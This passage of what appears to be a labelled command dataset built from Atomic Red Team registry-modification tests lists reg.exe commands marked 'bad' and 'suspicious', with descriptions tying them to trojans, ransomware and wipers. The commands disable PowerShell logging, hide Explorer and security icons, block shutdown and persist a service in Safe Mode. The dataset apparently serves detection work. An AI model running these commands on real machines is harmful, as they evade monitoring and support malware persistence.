Take note that some Group Policy changes might require a restart to take effect.
See how Trojan abuses this technique- https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
71c4d0b54223f7b916d9be3c,"reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoControlPanel /t REG_DWORD /d 1 /f","reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoControlPanel /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Activate Windows NoControlPanel Group Policy Feature,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to Disable Control Panel Group Policy. 
Take note that some Group Policy changes might require a restart to take effect.
See how Trojan abuses this technique- https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cf63c43617edae6af62c24ea,"reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoControlPanel /f >nul 2>&1","reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoControlPanel /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Activate Windows NoControlPanel Group Policy Feature,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to Disable Control Panel Group Policy. 
Take note that some Group Policy changes might require a restart to take effect.
See how Trojan abuses this technique- https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d05227456ee76ed7113d1d9e,"reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoFileMenu /t REG_DWORD /d 1 /f","reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoFileMenu /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Activate Windows NoFileMenu Group Policy Feature,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to Remove File menu from Windows Explorer Group Policy. 
Take note that some Group Policy changes might require a restart to take effect.
See how Trojan abuses this technique- https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d6313db2ae65d9ca4ce1e9d6,"reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoFileMenu /f >nul 2>&1","reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoFileMenu /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Activate Windows NoFileMenu Group Policy Feature,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to Remove File menu from Windows Explorer Group Policy. 
Take note that some Group Policy changes might require a restart to take effect.
See how Trojan abuses this technique- https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e894caca659143e35d0c52fc,"reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoClose /t REG_DWORD /d 1 /f","reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoClose /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Activate Windows NoClose Group Policy Feature,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to Disable and remove the Shut Down command Group Policy. 
Take note that some Group Policy changes might require a restart to take effect.
See how Trojan abuses this technique- https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
56591c6a681c0be598422fc6,"reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoClose /f >nul 2>&1","reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoClose /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Activate Windows NoClose Group Policy Feature,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to Disable and remove the Shut Down command Group Policy. 
Take note that some Group Policy changes might require a restart to take effect.
See how Trojan abuses this technique- https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
436b6b5fadfaa6130785e792,"reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoSetTaskbar /t REG_DWORD /d 1 /f","reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoSetTaskbar /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Activate Windows NoSetTaskbar Group Policy Feature,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to Disable changes to Taskbar and Start Menu Settings Group Policy. 
Take note that some Group Policy changes might require a restart to take effect.
See how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
08fe893d71a8eecb0f31a101,"reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoSetTaskbar /f >nul 2>&1","reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoSetTaskbar /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Activate Windows NoSetTaskbar Group Policy Feature,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to Disable changes to Taskbar and Start Menu Settings Group Policy. 
Take note that some Group Policy changes might require a restart to take effect.
See how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
acd6f737cb1db49a5a6f71e9,"reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoTrayContextMenu /t REG_DWORD /d 1 /f","reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoTrayContextMenu /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Activate Windows NoTrayContextMenu Group Policy Feature,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to Disable context menu for taskbar Group Policy. 
Take note that some Group Policy changes might require a restart to take effect.
See how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
aff9fe8ac7782acab794f628,"reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoTrayContextMenu /f >nul 2>&1","reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoTrayContextMenu /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Activate Windows NoTrayContextMenu Group Policy Feature,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to Disable context menu for taskbar Group Policy. 
Take note that some Group Policy changes might require a restart to take effect.
See how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7bbbb949602abde72a0a6331,"reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoPropertiesMyDocuments /t REG_DWORD /d 1 /f","reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoPropertiesMyDocuments /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Activate Windows NoPropertiesMyDocuments Group Policy Feature,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to hide Properties from ""My Documents icon"" Group Policy. 
Take note that some Group Policy changes might require a restart to take effect.
See how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a090cde2a7eec22764882e33,"reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoPropertiesMyDocuments /f >nul 2>&1","reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v NoPropertiesMyDocuments /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Activate Windows NoPropertiesMyDocuments Group Policy Feature,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to hide Properties from ""My Documents icon"" Group Policy. 
Take note that some Group Policy changes might require a restart to take effect.
See how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
309584c3b00eec9eea85285e,"reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v HideClock /t REG_DWORD /d 1 /f","reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v HideClock /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Hide Windows Clock Group Policy Feature,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to Hide Clock Group Policy. 
Take note that some Group Policy changes might require a restart to take effect.
See how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
41b4efb9d39d51e820cdb43f,"reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v HideClock /f >nul 2>&1","reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v HideClock /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Hide Windows Clock Group Policy Feature,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to Hide Clock Group Policy. 
Take note that some Group Policy changes might require a restart to take effect.
See how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
701612843386b03834e64ded,"reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v HideSCAHealth /t REG_DWORD /d 1 /f","reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v HideSCAHealth /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Windows HideSCAHealth Group Policy Feature,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to remove security and maintenance icon Group Policy. 
Take note that some Group Policy changes might require a restart to take effect.
See how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
82687c62d0128ae0b0e32f0d,"reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v HideSCAHealth /f >nul 2>&1","reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v HideSCAHealth /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Windows HideSCAHealth Group Policy Feature,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to remove security and maintenance icon Group Policy. 
Take note that some Group Policy changes might require a restart to take effect.
See how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4ccb5bf4223b717ae21d822c,"reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v HideSCANetwork /t REG_DWORD /d 1 /f","reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v HideSCANetwork /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Windows HideSCANetwork Group Policy Feature,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to remove the networking icon Group Policy. 
Take note that some Group Policy changes might require a restart to take effect.
See how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fc9e1e968c6735db954dd8dc,"reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v HideSCANetwork /f >nul 2>&1","reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v HideSCANetwork /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Windows HideSCANetwork Group Policy Feature,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to remove the networking icon Group Policy. 
Take note that some Group Policy changes might require a restart to take effect.
See how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
befdede92cbee9f028040cae,"reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v HideSCAPower /t REG_DWORD /d 1 /f","reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v HideSCAPower /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Windows HideSCAPower Group Policy Feature,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to remove the battery icon Group Policy. 
Take note that some Group Policy changes might require a restart to take effect.
See how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4ebfca2f712e40a76db918f7,"reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v HideSCAPower /f >nul 2>&1","reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v HideSCAPower /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Windows HideSCAPower Group Policy Feature,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to remove the battery icon Group Policy. 
Take note that some Group Policy changes might require a restart to take effect.
See how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
25b5a3b315bee37b65dd6584,"reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v HideSCAVolume /t REG_DWORD /d 1 /f","reg add ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v HideSCAVolume /t REG_DWORD /d 1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Windows HideSCAVolume Group Policy Feature,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to remove the volume icon Group Policy. 
Take note that some Group Policy changes might require a restart to take effect..
See how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9fa17b950795c3894b3affe8,"reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v HideSCAVolume /f >nul 2>&1","reg delete ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" /v HideSCAVolume /f >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Windows HideSCAVolume Group Policy Feature,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to remove the volume icon Group Policy. 
Take note that some Group Policy changes might require a restart to take effect..
See how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f8ac45f72a49978d12618093,reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowInfoTip /t REG_DWORD /d 0 /f reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowCompColor /t REG_DWORD /d 0 /f,reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowInfoTip /t REG_DWORD /d 0 /f reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowCompColor /t REG_DWORD /d 0 /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Windows Modify Show Compress Color And Info Tip Registry,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to show compress color and show tips feature. 
See how hermeticwiper uses this technique - https://www.splunk.com/en_us/blog/security/detecting-hermeticwiper.html
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f5422a0a9ecb8ac789d231a0,reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowInfoTip /f >nul 2>&1 reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowCompColor /f >nul 2>&1,reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowInfoTip /f >nul 2>&1 reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowCompColor /f >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Windows Modify Show Compress Color And Info Tip Registry,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to show compress color and show tips feature. 
See how hermeticwiper uses this technique - https://www.splunk.com/en_us/blog/security/detecting-hermeticwiper.html
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ddbbc77b5b011658bfca81e0,reg add HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging /v EnableModuleLogging /t REG_DWORD /d 0 /f reg add HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging /v EnableScriptBlockLogging /t REG_DWORD /d 0 /f reg add HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription /v EnableTranscripting /t REG_DWORD /d 0 /f reg add HKCU\Software\Policies\Microsoft\Windows\PowerShell /v EnableScripts /t REG_DWORD /d 0 /f reg delete HKCU\Software\Policies\Microsoft\Windows\PowerShell /v EnableScripts /f >nul 2>&1,reg add HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging /v EnableModuleLogging /t REG_DWORD /d 0 /f reg add HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging /v EnableScriptBlockLogging /t REG_DWORD /d 0 /f reg add HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription /v EnableTranscripting /t REG_DWORD /d 0 /f reg add HKCU\Software\Policies\Microsoft\Windows\PowerShell /v EnableScripts /t REG_DWORD /d 0 /f reg delete HKCU\Software\Policies\Microsoft\Windows\PowerShell /v EnableScripts /f >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Windows Powershell Logging Disabled,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to disable Powershell Module Logging, Script Block Logging, Transcription and Script Execution
see https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.PowerShell::EnableModuleLogging
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e6fc64cb4a960ed17ddfaf23,reg delete HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging /v EnableModuleLogging /f >nul 2>&1 reg delete HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging /v EnableScriptBlockLogging /f >nul 2>&1 reg delete HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription /v EnableTranscripting /f >nul 2>&1,reg delete HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging /v EnableModuleLogging /f >nul 2>&1 reg delete HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging /v EnableScriptBlockLogging /f >nul 2>&1 reg delete HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription /v EnableTranscripting /f >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Windows Powershell Logging Disabled,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to disable Powershell Module Logging, Script Block Logging, Transcription and Script Execution
see https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.PowerShell::EnableModuleLogging
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
22d89d86b85ef73225faebad,"REG ADD ""HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\AtomicSafeMode"" /VE /T REG_SZ /F /D ""Service""","REG ADD ""HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\AtomicSafeMode"" /VE /T REG_SZ /F /D ""Service""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Windows Add Registry Value to Load Service in Safe Mode without Network,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry to allow a driver, service, to persist in Safe Mode.
see https://redcanary.com/blog/tracking-driver-inventory-to-expose-rootkits/ and https://blog.didierstevens.com/2007/03/26/playing-with-safe-mode/ for further details.
Adding a subkey to Minimal with the name of your service and a default value set to Service, makes that your service will be started when you boot into Safe Mode without networking. The same applies for the Network subkey.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6ea61378e4deb4f0c82ca74d,"reg delete ""HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\AtomicSafeMode"" /f","reg delete ""HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\AtomicSafeMode"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Windows Add Registry Value to Load Service in Safe Mode without Network,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry to allow a driver, service, to persist in Safe Mode.
see https://redcanary.com/blog/tracking-driver-inventory-to-expose-rootkits/ and https://blog.didierstevens.com/2007/03/26/playing-with-safe-mode/ for further details.
Adding a subkey to Minimal with the name of your service and a default value set to Service, makes that your service will be started when you boot into Safe Mode without networking. The same applies for the Network subkey.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e25ccb0e198539a6ac7cd744,"REG ADD ""HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AtomicSafeMode"" /VE /T REG_SZ /F /D ""Service""","REG ADD ""HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AtomicSafeMode"" /VE /T REG_SZ /F /D ""Service""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Windows Add Registry Value to Load Service in Safe Mode with Network,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry to allow a driver, service, to persist in Safe Mode with networking.
see https://redcanary.com/blog/tracking-driver-inventory-to-expose-rootkits/ and https://blog.didierstevens.com/2007/03/26/playing-with-safe-mode/ for further details.
Adding a subkey to Netowrk with the name of your service and a default value set to Service, makes that your service will be started when you boot into Safe Mode with networking.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b60aa4119b059e286e9e1bbe,"reg delete ""HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AtomicSafeMode"" /f","reg delete ""HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AtomicSafeMode"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Windows Add Registry Value to Load Service in Safe Mode with Network,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry to allow a driver, service, to persist in Safe Mode with networking.
see https://redcanary.com/blog/tracking-driver-inventory-to-expose-rootkits/ and https://blog.didierstevens.com/2007/03/26/playing-with-safe-mode/ for further details.
Adding a subkey to Netowrk with the name of your service and a default value set to Service, makes that your service will be started when you boot into Safe Mode with networking.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
57a00dff9de2a02960e5aaa4,reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications /v ToastEnabled /t REG_DWORD /d 0 /f,reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications /v ToastEnabled /t REG_DWORD /d 0 /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows Toast Notifications,T1112,"[""T1112""]",windows,0.9,False,"Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows toast notification.
See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4662e485e6559e4759548e3f,reg delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications /v ToastEnabled /f >nul 2>&1,reg delete HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications /v ToastEnabled /f >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1112/T1112.yaml,Disable Windows Toast Notifications,T1112,"[""T1112""]",windows,0.55,True,"Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows toast notification.
